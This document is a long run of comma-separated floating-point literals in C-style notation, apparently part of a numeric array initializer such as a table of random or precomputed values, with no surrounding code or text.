0.331394418445345f, -0.415230278112412f, 0.225355270950915f, -0.216818510922154f, 0.716553646689289f, 0.149097723527982f, -0.212491921692561f, 0.681645638056938f, 0.675358683729395f, 0.0591550775861416f, -0.221626142364110f, -0.235878877821190f, 0.168188057112471f, -0.709738432254387f, 0.842890391064944f, -0.331175752377862f, 0.231375360302226f, -0.714989093452242f, -0.492645353426504f, 0.552424848261518f, -0.436987392663331f, -0.336155191719795f, 0.137666231065822f, 0.739347397348610f, 0.493222787180627f, 0.283646543313800f, -0.603522923409923f, -0.474181275984451f, 0.249315354427624f, 0.323736714335287f, 0.933612934150728f, -0.651555022796413f, -0.743229221575077f, -0.648309364385349f, 0.115117716036212f, -0.0689988553878600f, 0.0394979772968704f, 0.732729774997258f, 0.487584669162102f, 0.808754952095239f, 0.827617962775983f, 0.550826738558347f, 0.890858298785235f, 0.152998196795770f, 0.401198245071198f, 0.187173931669199f, 0.576387011979054f, -0.464903903379260f, 0.735172244343599f, -0.0393734341215035f, -0.501927105416023f, -0.852926247859480f, 0.384774001880198f, 0.723957370923565f, 0.869614310250896f, 0.698124990202440f, -0.0618370378422302f, -0.273879540781302f, -0.0745005910544518f, -0.754408143155094f, -0.859084370639359f, -0.709011936778905f, -0.883595552533659f, 0.326386065122049f, 0.756686513420982f, -0.639817612043620f, -0.536531544653662f, -0.596858657734988f, -0.187117983404806f, 0.760208405412209f, 0.191383034225783f, -0.771443976174702f, -0.371171018178012f, 0.723338724416329f, -0.325113980261468f, -0.652823731845602f, -0.902765567501679f, -0.109945188610355,
0.863727536109734f, 0.762531987550249f, 0.484671237555863f, -0.376731181566557f, -0.961176245257487f, 0.374503763045540f, -0.275274129954644f, 0.947951135663002f, 0.891610575724484f, 0.233179187366345f, 0.868694446846928f, -0.201812205484274f, -0.676342903796604f, 0.962133604967067f, 0.0941637112283598f, -0.0856261317646829f, 0.375061189807232f, -0.275342940020193f, 0.0614298144531287f, -0.183234253182376f, 0.146964792162229f, -0.307180215012337f, -0.139123531176191f, 0.130840221889238f, -0.0654726742084248f, 0.988722897887987f, -0.805684911622576f, 0.763299463922693f, 0.148136188784880f, -0.432183160161832f, -0.592185939638987f, -0.593835208842770f, -0.366135084813261f, 0.840566739882685f, 0.572052978307971f, -0.825682529425410f, -0.970222226210689f, -0.554421263584439f, 0.324648156825255f, 0.0472246837302466f, 0.168098848238140f, 0.00634984653176796f, 0.850237261066903f, 0.286624344510407f, 0.196043215794080f, 0.289161416244007f, 0.334801090322515f, 0.871286740072183f, -0.754609531300255f, 0.623871003889383f, 0.0843430009639772f, -0.736369938040848f, 0.400507674511444f, 0.816325383600297f, -0.500667496861800f, 0.453092855162135f, 0.281798170796444f, 0.631969623501011f, 0.472467114651372f, 0.525988741184527f, -0.124862967293674f, -0.882904489381606f, -0.501090007558747f, 0.631622297793485f, -0.0234210285578584f, -0.521093811962915f, -0.0402368492672573f, -0.762999364505356f, 0.948716268452360f, -0.572740830308272f, -0.261042904339051f, -0.506108365537530f, 0.585933508412429f, -0.362463094458446f, -0.885375028242576f, -0.835757117571791f, 0.337250829139564f, 0.298618238243588f, -0.744903291826588f, -0.979848674056393f, -0.488518944548476f, -0.000297116577397283f, -0.137863396173336f, -0.627207234158244f, -0.970417810284170f, -0.601487862773028f, -0.999527775716382f, 0.116672274325216f, -0.786330829714504f, 0.740118245374718f, 0.856485463622646f, -0.555144930193560f, -0.0168912375666686f, -0.774544329159697f, -0.782767315598991f, -0.600844843420598f, 0.885816107471180f, 0.577075799078571f, 0.663829997048111f, -0.359000184287277f, -0.390009578642891f, 0.202240602818017f, -0.0191477232064394f, -0.566459499064884f, 0.288883557382261f, 0.962583478738218f, 0.782123756762393f, -0.312311582870785f, -0.749354208187204f, 0.205679267602357f, 0.804004517387718f, -0.733078779233144f, -0.426195645938973f, 0.686872484317089f, -0.398704803137823f, -0.267786412313359f, -0.374306263341615f, 0.632992513422251f, -0.972217744254910f, -0.167080739523409f, 0.608176739669718f, -0.935550125875275f, -0.422451600932096f, 0.499643952974426f, -0.491034978653149f, -0.0256130378373849f, -0.158669355267388f, 0.360503946885584f, 0.227714934784132f, -0.138648043280479f, -0.0707461296301128f, 0.0638330442765616f, -0.168811643868974f, -0.575670642767690f, -0.162143785491822f, 0.528621079903453f, 0.581283330394272f, 0.444430744183000f, 0.859288341846780f, -0.170487584890459f, -0.440175706710406f, -0.184806402672108f, 0.676010805169568f, -0.0117535553470483f, -0.231606756742133f, -0.210042044569361f, -0.517950708003565f, -0.805772781723687f, 0.156938933772370f, 0.892075905739393f, 0.403874478002384f, 0.572031508558373f, -0.604145909072008f, -0.330076696654475f, 0.0314560087228033f, 0.683787496948704f, -0.788582181996934f, 0.835276281386949f, -0.0644658492206380f, 0.938270191882745f, -0.344927907293928f, -0.976720519493346f, 0.906264084343827f, -0.648152742145255f, -0.776984965421811f, -0.299470572593974f, -0.423690646950321f, 0.749911693814570f, -0.701929894551648f, -0.665191316321370f, -0.568359320650352f, -0.957309362369509f, 0.914088966355983f, 0.770952996203681f, 0.0924190787439159f, 0.844599990803978f, -0.613336716591875f, -0.683270165308367f, 0.358563204319583f, 0.934597169812267f, 0.236596595813630f, -0.895964332479994f, -0.673302324943916f, 0.454883302340070f, -0.473926010524343f, -0.576000657136217f, -0.644850950007290f, -0.980218836434995f, 0.321620362364719f, -0.799924718666919f, 0.0619872524925393f, -0.609255645268410f, 0.159243124858648f, -0.339764623434603f, 0.379865023026277f, -0.923132229333074f, -0.0300494021321296f, -0.183835365297645f, 0.122648511393234f, 0.887652015676064f, -0.616448517838488f, -0.920600866006207f, 0.352861591267815f, -0.930578364778234f, -0.378819076263050f, 0.775423778544869f, 0.836977798656885f, 0.0472244767469148f, 0.484934339557912f, -0.939155187409193f, 0.261555270800537f, 0.143595058480400f, -0.323517719771947f, 0.483466454684928f, -0.423163689969697f, 0.356966814701025f, -0.843907304366205f, 0.945903563730962f, -0.495952298317153f, 0.972277051575873f, 0.153052037173145f, -0.715894882755676f, -0.617028915483254f, -0.332307224095366f, -0.171207102890728f, 0.841771328272651f, -0.0308707743261867f, -0.626480028747696f, -0.729235538916864f, -0.743517330301179f, -0.733868915239511f, -0.449192858200231f, 0.362286468575150f, 0.327436676142902f, 0.609768663831898f, -0.147499187968100f, -0.470195300907973f, -0.232167856443943f, 0.225074905574485f, -0.0818541072414634f, 0.793403933843056f, 0.267628199755028f, -0.391701371806294f, -0.846991992740029f, -0.776221590294324f, 0.121351482320532f, -0.189789365942677f, -0.894392208695015f, -0.632864319945356f, 0.927817761109627f, -0.732454610273421f, 0.260011686544283f, -0.713973491605344f, 0.469764032416604f, -0.608895265807545f, -0.684992974060601f, -0.745556289276139f, -0.536308213076133f, 0.586581187207818f, 0.149804345860779f, 0.401576742698496f, -0.719670291046630f, 0.618659855530024f, -0.256639783379370f, -0.862966031725668f, 0.893866512913152f, 0.861800793529066f, -0.704895723095590f, 0.154163397540805f, -0.0775797186536984f, -0.252297335448882f, 0.869851864160888f, 0.428747373815147f, -0.818372805928921f, -0.739117647833389f, -0.697378012429133f, 0.182997863108567f, 0.689563104159966f, -0.0506114067037338f, -0.705077813920782f, 0.452892458862023f, -0.365069844049503f, -0.889224821648518f, 0.0194889225677406f, 0.847743515500726f, -0.0650338075825718f, -0.108889937983496f, -0.168485037502421f, 0.912533003086865f, 0.428132366084106f, 0.692652998111620f, 0.130599999674344f, 0.411245435867244f, -0.194909473459497f, 0.562152151569866f, 0.503795293326445f, 0.801805532943245f, 0.795718119772331f, -0.327975015537058f, 0.771389506217327f, 0.237139782375987f, -0.793798852884360f, 0.537824655594807f, -0.0767253125021830f, 0.444538451472890f, 0.623473048970629f, -0.500663871860675f, -0.890399840538612f, 0.389528755348857f, -0.915832255765501f, 0.000652855725217894f, -0.121310443088642f, 0.206662014558968f, -0.409513641801496f, -0.0496262665388731f, -0.313314447256644f, -0.994839397423865f, 0.344513198428247f, 0.250828855150578f, 0.845438302422055f, -0.728803841305459f, 0.249670562418639f, 0.543601559270672f, 0.0138774767713057f, -0.0667600054234216f, -0.803421294778238f, -0.222729734665659f, 0.461896933387103f, -0.378537171475208f, -0.464200027877777f, -0.363170335357481f, 0.616070694104851f, -0.316407896795124f, 0.131719997218670f, 0.0622146037260092f, -0.881713850066484f, 0.400811652868418f, 0.163777537634682f, -0.528768052383715f, 0.553072310703894f, 0.931393033749660f, 0.410062835546529f, -0.190904471223264f, 0.0533617852685424f, -0.911780226731855f, 0.823696403963215f, 0.756735978125573f, -0.849701310148249f, 0.106070214350541f, 0.747890454578944f, -0.559823302095172f, 0.976181619002882f, 0.506524051225122f, -0.0735228576098872f, 0.635610640336510f, 0.607728217052133f, -0.383443012662118f, -0.640835123345673f, 0.0897243696426577f, 0.722421963278953f, -0.368833835044170f, 0.684790387373836f, -0.0336846755494535f, 0.199819176553169f, 0.351822803019512f, -0.433387005248570f, 0.709401898386598f, -0.0149217994364210f, -0.549115733466769f, -0.774049259429836f, 0.440376751789406f, 0.740171176715015f, -0.322301969056869f, -0.148261856544327f, 0.724527166150266f, -0.744178178219827f, -0.743031462890542f, -0.00997727490160383f, 0.550074849063942f, 0.147825200269716f, 0.777182602759074f, -0.625412073440604f, -0.0614214671235789f, -0.400121310797195f, 0.864511820640236f, 0.327656445569618f, 0.765838911283705f, -0.906185069285438f, 0.543656228031101f, -0.527337383463707f, 0.544932532036177f, 0.453966596910417f, -0.422906847383216f, 0.803455668330395f, 0.496651297123425f, -0.254890927444284f, -0.940902660088963f, -0.0691448074129200f, 0.0165534278793877f, 0.510199004798987f, -0.0286331020627788f, -0.141471298460923f, 0.872000980716430f, -0.752995088893842f, 0.167696515625982f, -0.181673581299286f, 0.496236252387172f, 0.854022562040503f, 0.388320660177419f, 0.499320363074588f, 0.173522726183149f, 0.0334192536945390f, 0.631347719906229f, -0.832803059709609f, -0.523826088751894f, 0.322557683663180f, 0.0263621365506006f, 0.948982322858062f, -0.253991680115490f, -0.165970359640120f, 0.331700483099733f, 0.808731855823033f, 0.159862831431822f, -0.438178259673022f, -0.943749594272300f, -0.967819867274861f, 0.263403865531262f, 0.710981741513574f, -0.274597382335371f, 0.929606564147885f, 0.125943272920181f, 0.691306164809532f, -0.607946869004681f, 0.284352421048012f, -0.421663515398071f, -0.409479725854699f, -0.152265311389352f, 0.630868673855242f, 0.123144840061153f, -0.645105689918733f, 0.360153393247973f, 0.683885744053582f, 0.752598814717991f, -0.581494857182821f, -0.469116962448560f, -0.0691726199196117f, 0.174679188611332f, 0.351269328558955f, 0.394815335607621f, 0.710281940645013f, -0.618593505217632f, -0.721546422551907f, -0.974088703589852f, 0.939556772536401f, 0.599407011070674f, -0.342213391542906f, -0.387135346574836f, -0.572027944718123f, -0.622717582512866f, -0.676949872287677f, 0.993953153886700f, -0.784539234625462f, 0.788778188174951f, -0.0652679971583152f, -0.988740647590182f, 0.748989697777310f, 0.412949190397683f, 0.206661198525718f, 0.573116044772809f, 0.938498079842984f, 0.743167714677278f, 0.755679122637903f, -0.295095987460132f, 0.217166189740252f, 0.230160404687938f, -0.504654557405015f, 0.472402206737240f, -0.867751757044285f, 0.869050101160567f, -0.905285205825199f, -0.0698843699947245f, 0.762379282963140f, 0.634191197174691f, -0.498487028811837f, -0.284257632541078f, 0.224245853978976f, 0.412950901773606f, -0.831984679101472f, -0.375663639002356f, 0.153699995838016f, -0.953997055484851f, -0.545360745186449f, 0.637687001020610f, 0.465459355638311f, 0.0769011654935299f, 0.267123343048604f, 0.545842501706277f, 0.778890986545214f, -0.363432183057524f, 0.479786652022207,
-0.600912698239979f, -0.738845504293020f, -0.775987143750184f, -0.705559714187038f, -0.310523750352236f, -0.576081829930414f, -0.0341897834633795f, -0.388414434291246f, -0.790681299048144f, -0.169440674711419f, 0.219815472280053f, -0.323451599202462f, 0.835623141427806f, -0.932446301638351f, -0.831480966559550f, -0.185050128422203f, 0.946045240208487f, 0.864740749402213f, 0.916918979039328f, -0.204049261822351f, -0.807183358636872f, -0.484543897885746f, 0.974235382435000f, -0.208019257024664f, 0.647411336652954f, 0.0961385231960816f, -0.800258527388060f, 0.352982142334643f, 0.917274278881503f, -0.733934252997685f, -0.229420044045673f, -0.358499183112933f, 0.469156578609832f, -0.859359096702447f, -0.937762141277625f, 0.389776419837803f, 0.458425599271073f, 0.542973137971009f, 0.675023236195573f, 0.944029213696263f, -0.774027667733194f, 0.262984845114612f, 0.842689106929982f, 0.349251854560315f, 0.815938991679117f, -0.226283690374971f, 0.144356327986477f, -0.610588223452142f, 0.539695204296007f, 0.655759463021729f, -0.725805170479948f, -0.194977831685847f, -0.306105075607822f, 0.725461617920836f, 0.678283785172857f, 0.250577882812283f, -0.571672652704059f, 0.112132856850530f, -0.236412229648694f, 0.768173015701816f, -0.799251028098975f, 0.100723381526471f, 0.113856811781171f, -0.0281630563735495f, -0.0727902548617043f, -0.515248547261805f, 0.795765010992038f, 0.505540143557856f, -0.496124371632015f, -0.363010091302494f, -0.302067159683438f, 0.941309812688142f, 0.0564765277142674f, 0.733027295879568f, 0.582734217224559f, -0.159007222603058f, 0.827637470837748f, -0.163060519537145f, 0.352357500273427f, 0.920405360379926f, -0.280691553157313f, -0.401974149240862f, -0.131353114797667f, 0.0719728276882135f, 0.795795661384902f, -0.348203323368113f, 0.946184663961743f, -0.188400643814906f, 0.979319203447783f, -0.132195434304746f, 0.585832597473452f, -0.894730397941282f, -0.998045985412111f, -0.717844040997160f, -0.706372640246558f, 0.237517748136224f, 0.767232946579208f, -0.246080656591091f, -0.767887803661775f, 0.139501344992184f, -0.545658806327887f, 0.480755550666584f, -0.355750609145607f, -0.493518864013929f, 0.832011102158605f, 0.122542855024589f, 0.179356501845966f, 0.630805165349165f, -0.888557403477561f, 0.861375782261841f, 0.963467658712489f, -0.00498707715217361f, 0.341894517453263f, 0.654808049991043f, -0.826909952854692f, 0.101446328788119f, 0.401514152845232f, -0.830556985096328f, 0.832187560444347f, -0.657254039822149f, 0.0304197382717133f, -0.718462386339415f, -0.592343549551534f, -0.356333235896531f, 0.674135547073730f, 0.606490641440102f, -0.707328770155748f, 0.0251846271186025f, 0.763024927861424f, -0.258224600040528f, 0.456384203436896f, 0.626482995304888f, 0.162353458245830f, 0.964280614412026f, 0.869262296229816f, -0.0659501568862260f, -0.712869755397848f, -0.946968242335746f, -0.852822740386429f, 0.791522782900379f, 0.824530390150335f, -0.369383609091590f, 0.118366422602132f, -0.713278848975255f, 0.549165545117801f, -0.00201102645336770f, 0.748955154405439f, -0.173689412898754f, 0.175162399203493f, 0.0819730422177463f, -0.804833155982895f, 0.972966530563786f, -0.0614871820303859f, -0.293463394754661f, 0.885919261783643f, 0.498531250561504f, -0.808874001349436f, 0.364344357769432f, -0.945616638616975f, -0.285864129675031f, -0.0438177789332626f, 0.303981486324719f, 0.362653007142366f, -0.543157427730716f, 0.174551703296805f, 0.140105048664068f, -0.704163993684247f, -0.647461975308389f, 0.831243960763754f, -0.364954329841192f, -0.730289885595360f, 0.0119708019435723f, 0.796338505809816f, -0.227851954967331f, -0.927330125804492f, 0.0602265250934577f, -0.485204061877453f, 0.198319346525046f, -0.529723177394882f, -0.321493822700232f, -0.839566193416413f, -0.187812484529161f, -0.396142329367383f, 0.367600156667632f, -0.922657847865138f, 0.893508892950972f, -0.504434314314017f, 0.663184814192863f, 0.887813887366393f, 0.267103483259066f, 0.984313142773772f, -0.667515321448428f, 0.0718416862496054f, -0.733363156570869f, 0.00186343206374962f, -0.316531364321301f, -0.467549697367438f, 0.569865535259013f, -0.556502178434536f, -0.650896672234238f, 0.564462797319346f, 0.585276582729153f, -0.433005641153548f, 0.847012427243871f, -0.462088105064984f, -0.379468633087939f, -0.0104892833799723f, 0.654191676584918f, -0.893278846859767f, -0.689350274835588f, -0.333220721049179f, -0.0461703436190983f, -0.463411501818667f, -0.995085073808794f, 0.526075522777196f, -0.0686703698159610f, -0.855908120278260f, -0.239774384006192f, -0.524142243888286f, 0.119526621106050f, -0.838266471869898f, -0.459366707886497f, -0.974921205300089f, -0.680517660007036f, 0.507695286553230f, 0.0920009889477380f, -0.674459855090400f, 0.554585280302756f, 0.357871391273056f, 0.453052004120624f, -0.991707675828263f, 0.144725488641274f, 0.0886535789688503f, 0.708257184179799f, 0.579351194763774f, 0.902098539548710f, 0.0104715251706708f, 0.112677648152527f, 0.0513772996762050f, -0.647561525299580f, 0.321958856072156f, -0.433510239079594f, -0.481493822802105f, 0.651663699618654f, 0.922649363108760f, -0.751799312011289f, -0.0336105332513619f, 0.236872038257485f, -0.0434863841224971f, 0.150810692021768f, -0.217629544451037f, 0.345890414626050f, -0.471941673338326f, 0.675001035054686f, -0.986585320322202f, -0.784679789758475f, 0.270727429189404f, 0.595792127677512f, -0.485969146811564f, 0.222507692419212f, -0.850070310429306f, -0.575184466843042f, -0.220860571657717f, -0.749449040845746f, 0.743039624335149f, 0.463892797640518f, 0.224829531690830f, 0.935410439714992f, 0.00609595972560872f, 0.830877831388658f, 0.0270299847557276f, -0.648763861115704f, 0.471982277585509f, -0.145722971031426f, 0.650947186397952f, -0.266164907037466f, -0.962378355156458f, 0.354855353373398f, -0.184127215272909f, -0.825621979621661f, 0.595495186093792f, 0.448679578752395f, -0.839671989567806f, 0.302158874138200f, -0.735484620769119f, -0.891040803749876f, 0.880298595525880f, -0.281199581528421f, 0.0195033020490396f, -0.511515485794419f, 0.447303195702203f, 0.375317547074287f, 0.964442757731427f, 0.167643569291013f, 0.0118587246816413f, 0.958187068873858f, 0.315395458761821f, 0.188852872643367f, 0.417450657662866f, -0.540566147670448f, -0.422709015019828f, 0.101425586029329f, -0.235465301656357f, -0.806044548641562f, -0.617153815671298f, 0.350658348898447f, -0.738540593521098f, 0.291893065415692f, 0.335435501842245f, 0.832048727909480f, -0.609539777284250f, -0.436992256701542f, -0.685315947977391f, -0.502107715051164f, -0.893460699283628f, -0.262263680492396f, 0.454417031133778f, 0.223227655510993f, 0.605288383003966f, -0.698800586984034f, 0.864843125666124f, 0.363752223710394f, -0.354571459375900f, -0.575008718239530f, 0.423061550052490f, -0.272459660313524f, -0.116932919064239f, 0.547073367599225f, -0.890822451422250f, -0.884262586749836f, -0.889803003239001f, 0.217660629852574f, 0.154863581361214f, -0.333284425759330f, -0.826087281020982f, -0.958198419703014f, 0.850114828540176f, -0.391190814837661f, 0.956578087128909f, 0.0541599967910713f, 0.0988550815990206f, 0.851903747125444f, 0.361959550717838f, -0.901818125706440f, -0.0561477675277424f, 0.522090821863134f, 0.263383912024089f, -0.161061362097086f, -0.983707460720128f, -0.333128836619106f, -0.546535222349413f, 0.627261888412583f, 0.408731616102241f, 0.754700916401496f, 0.869772826180715f, 0.362242883540519f, 0.853587698951791f, -0.698910717068557f, -0.671945256263701f, 0.802655941071284f, 0.338701009518668f, -0.0297818698247327f, -0.881311052338108f, -0.296717226328950f, -0.965699941652671f, -0.737164428831818f, 0.00804554422537485f, 0.989716933531351f, -0.832438692682457f, 0.454553001515962f, -0.933801685729775f, -0.644562445615081f, 0.104508389084640f, -0.535426180524709f, -0.937041822784313f, 0.599911275476691f, -0.789109397888652f, 0.821293320968620f, 0.818032308067912f, -0.838306491947354f, -0.172883985566904f, -0.185775969502745f, -0.672256019841514f, -0.412525056012874f, 0.142272136963196f, 0.792136721788200f, -0.726314486042219f, -0.445981475954073f, -0.857821372905156f, -0.783006950965519f, 0.438776336055643f, 0.400193156140386f, 0.177525578340235f, -0.435380642286229f, 0.547815754835977f, 0.0496394855194708f, -0.442174406426496f, -0.0856142956982360f, -0.0247840885457120f, -0.779016166389253f, -0.511802368745331f, 0.319887353303028f, 0.721806644023428f, 0.770423389111803f, 0.809969588377187f, -0.196191981856391f, -0.105718971622809f, -0.301674515042257f, 0.613622254387482f, -0.969517273103490f, 0.0144576310630131f, -0.668829420461301f, 0.750377960820232f, 0.696858494013122f, -0.563485511352760f, 0.726226115587466f, -0.227540741583116f, 0.665488592033944f, -0.124611809537824f, 0.489550286613580f, -0.579185308695604f, 0.628687311174276f, -0.295770837727116f, 0.240358361854250f, -0.155642183802961f, -0.885945841456110f, 0.388592282428421f, -0.663862196774143f, 0.363779469451472f, -0.371285870971327f, 0.563159689631810f, 0.102725415308920f, -0.320909176496511f, 0.334328794247963f, -0.401664407219370f, 0.726728495517480f, -0.192310060924823f, -0.107973316004269f, 0.898177814643418f, 0.456682306673978f, 0.890742303266606f, -0.742770990765425f, 0.0337493848747046f, 0.786190819119190f, 0.911503487800545f, 0.288384155888888f, -0.249479393879906f, -0.431949793185094f, -0.0847659302921913f, -0.475416985100444f, -0.362720571751962f, 0.676910741300893f, 0.00488530543559529f, -0.227678010632002f, -0.0632947771540859f, -0.990261099329279f, -0.708485805011827f, -0.304846597458441f, -0.480289782580152f, -0.593254971635338f, -0.656335976085053f, 0.584373334310954f, -0.493268395245234f, -0.00212668034894836f, -0.480221591678953f, 0.622365041709782f, -0.258845071515928f, 0.943825418665593f, -0.716642329101759f, -0.765317239111819f, 0.324487844009035f, 0.108158868464706f, -0.790583201992229f, -0.649218622127061f, 0.751409704126257f, 0.301455204388007f, 0.620482350165047f, 0.411016780608874f, -0.878843779367281f, -0.779673415191805f, 0.616508572699874f, 0.0750844738292273f, 0.341011338533919f, -0.553376665552953f, 0.277561087965059f, 0.527499935800293f, -0.489644680144407f, 0.514353996113782f, 0.229842524701725f, 0.139172928186734f, 0.793753206591897f, 0.835555341130211f, 0.794120687009671f, -0.0994745468343306f, 0.109098970584400f, 0.383123470993648f, 0.272549010931094f, 0.683070582699418f, 0.522823199313615f, 0.235903759158310,
-0.269490013000195f, -0.103775744391749f, -0.994083979953753f, 0.754983594207459f, 0.806308398378106f, -0.997543362839150f, -0.00396367603607373f, -0.873768378178592f, -0.755907732827809f, 0.703713206520365f, -0.0716773056166142f, 0.0792968663717508f, -0.113760825029016f, 0.828188140127672f, -0.103062543982628f, 0.0455017026983378f, 0.330658414568756f, -0.615810862221588f, 0.827890015477212f, -0.507551960954374f, -0.371044788092612f, 0.723489294741891f, 0.169072478802524f, 0.885612989356318f, -0.496475905980558f, 0.114400438991609f, 0.427961880327008f, -0.0456714004002505f, 0.0246660859589438f, 0.175616122301987f, -0.349777838484285f, -0.939474935533562f, -0.215061649130134f, 0.907049169335834f, -0.0553600192559760f, -0.982464152311714f, 0.405919915647442f, 0.755952405091542f, -0.695422520039876f, 0.373280568864688f, 0.483909023765611f, 0.784896384994620f, 0.978722132488262f, -0.113866140463085f, -0.630016943176703f, 0.512742627309861f, -0.829104067044703f, -0.240982431155520f, 0.0107361024967163f, -0.438682584788413f, 0.935730031472303f, -0.953447901200043f, -0.984218956474073f, -0.745077052885218f, -0.466232938128846f, 0.0326267564209573f, 0.303877586274065f, -0.199843777507458f, 0.674317529952029f, 0.448678903834397f, -0.681863209154081f, 0.273397524216090f, 0.193101955704959f, -0.342858479278718f, -0.485179713360910f, -0.586067050491890f, 0.393099777352274f, -0.982324485510343f, -0.852553426343700f, 0.773613825101220f, -0.590256032959421f, 0.837952413540589f, -0.643137731235821f, -0.311955662956384f, -0.888588599835619f, 0.304629859477166f, -0.810098957400030f, -0.534291626181040f, 0.878601703692302f, 0.362706441157764f, -0.254447668911795f, 0.604309282304246f, -0.977266419340276f, 0.250927873824064f, 0.549600558999971f, -0.796155833245480f, 0.226373301058549f, 0.0137578302483823f, 0.819708534464965f, 0.185662636424304f, -0.450456459548662f, 0.0953849597308440f, 0.736872088617975f, -0.582024306116842f, -0.0522261513001507f, 0.394348349710790f, -0.461023913227183f, 0.139996201153565f, -0.790168851966909f, 0.692544084408690f, -0.580603732841955f, -0.584540773580447f, -0.967062276813525f, -0.00886260208554912f, -0.0520831218167985f, -0.999614949922684f, -0.965820736077636f, 0.366390034326646f, 0.0323069925013668f, 0.164651515113853f, 0.300260003499445f, -0.340634856317630f, -0.238157231550037f, -0.291645957143165f, -0.773881882387456f, -0.144494053860223f, 0.660329619628580f, -0.626727996257997f, -0.994965090982706f, 0.161018019917379f, -0.327211572176153f, 0.0410991278573425f, 0.0123663905917732f, 0.747176159655312f, -0.485981637435718f, 0.00667961234248971f, 0.631625759154389f, -0.831294487064668f, 0.449606477050286f, 0.768845094514142f, 0.928354534843426f, 0.812647997969340f, 0.353418126917875f, -0.872184763557736f, -0.579130598386915f, -0.912928075675835f, -0.779484407508668f, 0.534916834944041f, 0.326353225230543f, 0.395431557674662f, -0.842103899863317f, 0.196590107332985f, -0.261317824893025f, 0.750190543523333f, -0.103409967857074f, -0.201452426430379f, -0.213633615009587f, 0.578822104214576f, -0.130809161238349f, -0.774608769872343f, -0.0222201705228122f, 0.126990738965544f, 0.785780586747108f, 0.0379484317527632f, 0.837140835706189f, -0.191007948387153f, 0.106781679021568f, 0.990298140861558f, 0.618337701073777f, 0.460255491901774f, 0.716379796730692f, -0.159421014009881f, -0.560212468621569f, -0.147263014783522f, -0.962301694075771f, -0.327702010262213f, -0.773959532468388f, 0.351239668535113f, -0.682281479449518f, 0.342188824054257f, -0.743039216419066f, 0.700710268270439f, 0.919651386092770f, 0.626343233048871f, -0.157189576636596f, 0.781882574006976f, 0.349953565654219f, 0.361235312853466f, 0.313242228422046f, 0.582185182102266f, 0.554504358491139f, 0.711217954194576f, 0.332473377627418f, 0.165078226255772f, -0.228349029389292f, 0.899730713958153f, 0.653894503448836f, -0.0452904440925501f, 0.0328806142413372f, 0.793701315832839f, -0.703826261467540f, -0.901648894320192f, -0.195631966969018f, -0.0470590812056508f, 0.487185699934959f, 0.175961644103331f, 0.818028721319245f, -0.224389104974946f, 0.901974203693823f, -0.153212477843726f, -0.472747796173897f, -0.587471692952684f, 0.452340198339707f, 0.996443894349412f, -0.849126217374502f, -0.403800337277983f, 0.923427876645159f, -0.0516037992113898f, -0.380335341989182f, -0.299914673109747f, 0.764492139190834f, 0.773463290027243f, 0.0175454601261817f, -0.400742340353541f, 0.912354892189422f, 0.999766609328281f, -0.521321752061712f, -0.365769506846305f, 0.477612405338644f, -0.0522578739905535f, -0.479259238587280f, 0.645161410912429f, -0.702546085166056f, 0.359736398041538f, 0.638130894056863f, 0.115633419893101f, -0.674410360620500f, -0.150824943737990f, -0.824854463897591f, -0.504410162129685f, 0.560317574021813f, -0.159611666752889f, 0.997647540626334f, 0.702777895178414f, -0.946494281691535f, -0.0109619562916898f, -0.383756482005404f, 0.872670066971334f, -0.453527506439184f, -0.635719199113957f, 0.932852122005178f, -0.800755479140234f, -0.225213334363716f, 0.251163542389519f, -0.598147625383133f, -0.155241293946661f, 0.967736510890644f, -0.0157250628103103f, 0.250570924071858f, 0.209749651169078f, -0.381016062687537f, -0.679300447230592f, 0.160197663113971f, -0.749803147200800f, 0.596917045783617f, -0.0878737681749431f, 0.642402180339789f, 0.261614973684270f, -0.111833224093973f, 0.300170844971678f, 0.317966800167647f, 0.0585375534708252f, -0.842709435910728f, 0.760207701069839f, -0.979366191145221f, 0.940703569377911f, 0.866488078693979f, 0.553497107695259f, 0.127260247084497f, 0.530106152060111f, 0.725171359852920f, 0.356742729430045f, -0.209841680046178f, -0.164239817187855f, -0.888858150931758f, 0.0367561852378047f, 0.803496113779956f, -0.594927045375575f, -0.00347281985657166f, 0.114118941713783f, -0.427864462568672f, 0.719021423892768f, 0.335845790828654f, 0.0207216235296064f, -0.523146933862102f, -0.145001077781793f, 0.490566784879983f, 0.461904660734682f, -0.897010089735077f, -0.895737903861849f, 0.343397505472310f, -0.684377591381862f, -0.0154016881290400f, -0.462987614871549f, 0.884045010701589f, 0.192617174725234f, 0.226497290324550f, -0.788151335932529f, -0.190538526746651f, -0.556614046330326f, -0.139480186854974f, 0.196785300148418f, 0.978844132512627f, -0.290726060479808f, -0.591813978495167f, -0.0769033757443105f, -0.467044929381376f, 0.171585053083057f, 0.408215527269010f, -0.818706013465989f, -0.328144984930982f, 0.790275356337217f, -0.977491163139178f, -0.979679268318504f, -0.524875121608236f, -0.263859024168277f, 0.0180787743488171f, -0.984390626106750f, 0.952274619010224f, -0.851400664579601f, 0.692959439369046f, -0.150312001943653f, 0.712066554169562f, -0.492336226254660f, -0.453559897031351f, -0.159679763180474f, 0.745834647687870f, -0.725963425297178f, -0.720341794596050f, 0.370674334928492f, -0.845974926208293f, -0.00448769398027360f, -0.595973105115042f, 0.967372249596385f, 0.512949503724102f, 0.889619262804735f, 0.990718232652913f, -0.662246751886904f, 0.333846293708563f, -0.423114421367372f, 0.549637439543149f, -0.987876053136374f, -0.782714958794276f, 0.294868983681807f, 0.931284560597614f, 0.445522387300861f, -0.388400162488578f, -0.182673246109423f, -0.773488958971573f, 0.438788569593725f, 0.578106509978236f, -0.373449127435319f, -0.301996528814967f, -0.227124771031239f, 0.700176189695036f, -0.910948938567526f, 0.733412403327578f, 0.486154072292544f, -0.974058632864456f, 0.216693355653246f, 0.147564301397678f, -0.715192277853558f, -0.366996833259925f, 0.568909126406069f, -0.0810069456450131f, -0.371253841044151f, 0.254736918036059f, -0.868966383080701f, 0.190312518076662f, 0.457253801337437f, 0.941043431633233f, -0.297470749600241f, 0.244270515950156f, -0.240122562119888f, -0.766384662307300f, 0.765045432900429f, -0.608250739173787f, -0.733052557932594f, -0.268433000443065f, 0.733598123424154f, -0.0550005774741753f, 0.273893221740822f, -0.659641650983149f, 0.967032725204337f, 0.390126626361090f, 0.518740746381756f, -0.859387560527806f, 0.554117289841284f, 0.648904904654236f, -0.755880975555381f, 0.834231592524942f, -0.137512395743275f, 0.0477027353535724f, -0.880364563062979f, 0.458763614093086f, 0.650036413308116f, 0.496385905878033f, -0.418537115548864f, -0.565561960782851f, -0.227941684691245f, -0.165031891659812f, 0.204464989908300f, -0.688093624763916f, -0.678874848552394f, 0.813764873880514f, -0.561723359541237f, -0.575805702297063f, 